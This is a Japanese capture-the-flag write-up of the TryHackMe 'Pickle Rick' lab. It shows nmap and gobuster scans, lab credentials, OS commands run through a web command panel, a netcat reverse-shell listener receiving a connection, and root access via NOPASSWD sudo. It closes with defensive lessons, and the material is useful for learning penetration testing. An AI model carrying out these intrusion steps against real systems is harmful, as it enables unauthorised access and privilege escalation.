はじめに
TryHackMeの "Pickle Rick" というルームのWriteupです。
Rickをピクルスから人間に戻すためにWebサーバをハックしていきましょう!
- 難易度 : Easy
目標
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
3つのフラグをゲットするのが目標です。
Recon
Webサイトの偵察
Webサイトを確認していきましょう。
Listen Morty... I need your help, I've turned myself into a pickle again and this time I can't change back! (モーティ 助けて欲しいんだ。またピクルスになっちゃって、今度は元に戻れないんだ!)
I need you to BURRRP....
Morty, logon to my computer and find the last three secret ingredients to finish my pickle-reverse potion. (僕のコンピューターにログインして、ピクルスを完成させるための最後の3つの材料を探してくれ。)
The only problem is, I have no idea what the BURRRRRRRRP, password was! Help Morty, Help!
ピクルスになってしまったようです(笑)
一部意味のわからない文字列になっているけどなんでしょう?
TOPページのコードを読んでみるとユーザ名がメモしてある。
Username: R1ckRul3s
をゲット!
オープンポートの調査
nmapでポートスキャンしていきましょう。
root@ip-10-10-250-200:~# nmap -Pn -A -T4 10.10.156.182
Starting Nmap 7.60 ( https://nmap.org ) at 2024-02-09 07:58 GMT
Nmap scan report for ip-10-10-156-182.eu-west-1.compute.internal (10.10.156.182)
Host is up (0.00037s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:eb:07:bf:fc:65:88:b6:22:ae:1d:66:01:73:ae:16 (RSA)
| 256 3f:b7:89:69:1a:35:24:54:40:4c:45:d2:97:85:02:04 (ECDSA)
|_ 256 0e:40:da:05:86:69:aa:ba:de:d3:b4:69:1b:b0:24:27 (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool
MAC Address: 02:5E:9E:F5:86:4D (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.13
OS details: Linux 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.37 ms ip-10-10-156-182.eu-west-1.compute.internal (10.10.156.182)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.70 seconds
22(ssh), 80(http)が空いている。
隠しディレクトリ調査
Gobusterで隠しディレクトリを洗い出しましょう。
root@ip-10-10-250-200:~# gobuster dir -u http://10.10.156.182 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.156.182
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2024/02/09 08:10:28 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2024/02/09 08:10:30 Finished
===============================================================
/assets, /robots.txt が見れるようなので見ていく。
/assets
ソースコードと画像がありますね。
この画像たち一応ローカルに持ってきて解析したけどなにも見つからず、、、
トップページに使われていない画像もあります。なんのためにここにあるんだ。
/robots.txt
Wubbalubbadubdub
なんだこれ~
jsのファイルがあるのに静的ページしかないなんておかしいので、ワードリストを変えてディレクトリスキャンをもう一度行います。
-x php html で拡張子を指定してスキャン出来る
root@ip-10-10-250-200:~/assets# gobuster dir -u http://10.10.156.182 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php js html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.156.182
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2024/02/09 08:58:31 Starting gobuster
===============================================================
/login.php (Status: 200)
/assets (Status: 301)
/portal.php (Status: 302)
/denied.php (Status: 302)
/server-status (Status: 403)
===============================================================
2024/02/09 08:59:12 Finished
===============================================================
login.php, portal.php, denied.php が見つかりました。
Gaining Access
ログインしていきましょう。
/login.php
最初に見つけたID R1ckRul3s
と
robots.txt
に書いてあった意味不明のワード Wubbalubbadubdub
を入れるとログイン出来ます。
(たしかに気になる文字列だったけどこれがパスワードだなんて、、)
"Command Panel" というものが現れましたね。
コマンドを入れたくなる名前なので ls
を入れてみるとサーバの中にあるフォルダが見えるようです。
Sup3rS3cretPickl3Ingred.txt
(SuperSecretPickleIngred.txt) という名前の気になるファイルがあるので中身がみたい。
cat Sup3rS3cretPickl3Ingred.txt
を入力してみました。
cat
コマンドを実行する権限がないみたいです。
less Sup3rS3cretPickl3Ingred.txt
less
だとうまくいった。1つ目のフラグをゲットしました。
いつもの user.txt, root.txt と違ってフラグの名前がわからないので難しいですね。
$ whoami
www-data
$ sudo -l
(ALL) NOPASSWD (ALL)
www-data
でログインしていて、sudo権限があるようです。
sudo権限があるなら昇格しておきましょう。
$ find
.
./assets
./assets/jquery.min.js
./assets/bootstrap.min.js
./assets/bootstrap.min.css
./assets/rickandmorty.jpeg
./assets/portal.jpg
./assets/picklerick.gif
./assets/fail.gif
./denied.php
./robots.txt
./index.html
./login.php
./Sup3rS3cretPickl3Ingred.txt
./clue.txt
./portal.php
clue.txt
というのがあるので見てみましょう。
$ less clue.txt
Look around the file system for the other ingredient.
フラグではなくヒントでした。ファイルのどこかにあるらしい。
$ pwd
/var/www/html
$ ls ../../
backups
cache
crash
lib
local
lock
log
mail
opt
run
snap
spool
tmp
www
ポータルのソースを見るとまたコメントが書いてありました。
<!-- Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0== -->
末尾に==
があるのでbase64で暗号化されているとわかる。
何回かbase64のデコードを繰り返すと、、、、
root@ip-10-10-8-66:~# echo "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d
base64: invalid input
VjFSSmVGSXlSbGRpU0ZKcFVrVktTMVZxU205TmJHeHlXa1phVVZWVU1Eaz0root@ip-10-10-8-66:~#
root@ip-10-10-8-66:~# echo "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d | base64 -d | base64 -d
base64: invalid input
base64: invalid input
WTIxR2FWbHRiREJKUjJoMllrZFZQUT09root@ip-10-10-8-66:~#
root@ip-10-10-8-66:~# echo "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
base64: invalid input
base64: invalid input
Y21GaVltbDBJR2h2YkdVPQ==root@ip-10-10-8-66:~# echo "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
base64: invalid input
base64: invalid input
cmFiYml0IGhvbGU=root@ip-10-10-8-66:~#
root@ip-10-10-8-66:~# echo "Vm1wR1UxTnRWa2RUV0d4VFlrZFNjRlV3V2t0alJsWnlWbXQwVkUxV1duaFZNakExVkcxS1NHVkliRmhoTVhCb1ZsWmFWMVpWTVVWaGVqQT0==" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d
base64: invalid input
base64: invalid input
rabbit holeroot@ip-10-10-8-66:~#
rabbit hole
という文字列が出てきました。
なにに使うんだ、、、、(→ 何にも使いませんでした(え))
リバースシェルで侵入
リバースシェルを仕込みたいので、pythonやphpの実行環境がないか調べていきましょう。バージョンを確認するコマンドで確認できます。
$ python3 --version
pythonがいましたね。
リバースシェルを仕込みましょう。まずはリスナーを起動しておく。
$ nc -lvnp 7000
Reverse Shell Generatorでリバースシェルを作ります。
左側に自分のホストIPを入れて、表示されたコマンドを入力します。
ペタッと。
リスナーを見てみると、、、
root@ip-10-10-8-66:~# nc -lvnp 7000
Listening on [0.0.0.0] (family 0, port 7000)
Connection from 10.10.156.182 51428 received!
$ whoami
whoami
www-data
$
来た来た。www-data
で侵入成功です!
PrevEsc
権限昇格しましょう。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on
ip-10-10-156-182.eu-west-1.compute.internal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on
ip-10-10-156-182.eu-west-1.compute.internal:
(ALL) NOPASSWD: ALL
なぜかwww-dataがすべてにsudo権限を持っていたのでsudo su
でrootになっておく。
$ sudo su
sudo su
root@ip-10-10-156-182:/var/www/html#
rootになれました。(あっけない・・・)
root@ip-10-10-156-182:/# cd root
cd root
root@ip-10-10-156-182:~# ls
ls
3rd.txt snap
root@ip-10-10-156-182:~# cat 3rd.txt
cat 3rd.txt
3rd ingredients: fleeb juice
3つ目のフラグを見つけました!
root@ip-10-10-156-182:/# cd home
cd home
root@ip-10-10-156-182:/home# ls
ls
rick ubuntu
root@ip-10-10-156-182:/home# cd rick
cd rick
root@ip-10-10-156-182:/home/rick# ls
ls
second ingredients
root@ip-10-10-156-182:/home/rick# cat "second ingredients"
cat "second ingredients"
1 jerry tear
無事2つ目のフラグも見つかりました。3つ揃いましたね。
あとがき
今回のポイントは、
- 使われていない js ファイルを発見したらまだ見つけてない動的ページがあると疑う
- ソースコードのメモを手掛かりにした
- OSコマンドが実行できるフォームからpythonのリバースシェルで侵入
でした。守る側としては、
- OSコマンドを実行できないようにする
- 公開する必要のないページは閲覧できないようにする
- htmlのソースコードに機密情報を書かない
を注意しましょう。